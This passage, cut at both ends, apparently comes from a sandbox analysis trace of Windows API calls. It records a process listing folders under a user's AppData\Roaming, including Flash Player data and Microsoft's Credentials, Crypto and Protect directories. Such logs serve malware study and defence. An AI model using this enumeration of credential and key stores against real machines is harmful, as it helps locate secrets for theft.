cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0197.673] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53db3d7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c61d87, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c61d87, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.673] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 1 [0197.673] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c61d87, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6cd5b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6cd5b, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="#AppContainer", cAlternateFileName="#APPCO~1")) returned 0 [0197.674] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0197.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x12feae4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0197.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feffc) returned 1 [0197.674] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x12feab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0197.674] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0197.674] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.674] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0197.674] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed30 | out: lpFindFileData=0x12fed30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0197.675] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0197.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0197.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefc4) returned 1 [0197.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef9c) returned 1 [0197.675] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", nBufferLength=0x105, lpBuffer=0x12fea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpFilePart=0x0) returned 0x46 [0197.675] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x12fecc4 | out: lpFindFileData=0x12fecc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0197.675] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53ed8d1, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f0003, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f0003, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.675] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 1 [0197.675] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fecd0 | out: lpFindFileData=0x12fecd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0197.675] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0197.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef58) returned 1 [0197.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef64) returned 1 [0197.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x12fea74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x4e [0197.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef8c) returned 1 [0197.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x12fea40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x4e [0197.676] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b138 [0197.676] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.676] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 1 [0197.676] FindNextFileW (in: hFindFile=0x139b138, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0197.676] FindClose (in: hFindFile=0x139b138 | out: hFindFile=0x139b138) returned 1 [0197.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0197.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef54) returned 1 [0197.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x12febc4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0197.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0dc) returned 1 [0197.676] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x12feb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0197.677] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x12fee04 | out: lpFindFileData=0x12fee04*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b038 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xbc518aba, ftLastAccessTime.dwHighDateTime=0x1d5c567, ftLastWriteTime.dwLowDateTime=0xc39c5a59, ftLastWriteTime.dwHighDateTime=0x1d5c567, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x973c546, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0197.677] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x966dfd8e, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x966dfd8e, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Signatures", cAlternateFileName="SIGNAT~1")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5436ad3, ftCreationTime.dwHighDateTime=0x1d5c552, ftLastAccessTime.dwLowDateTime=0xc4597ef0, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xc4597ef0, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling", cAlternateFileName="")) returned 1 [0197.678] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0197.679] FindNextFileW (in: hFindFile=0x139b038, lpFindFileData=0x12fee10 | out: lpFindFileData=0x12fee10*(dwFileAttributes=0x10, 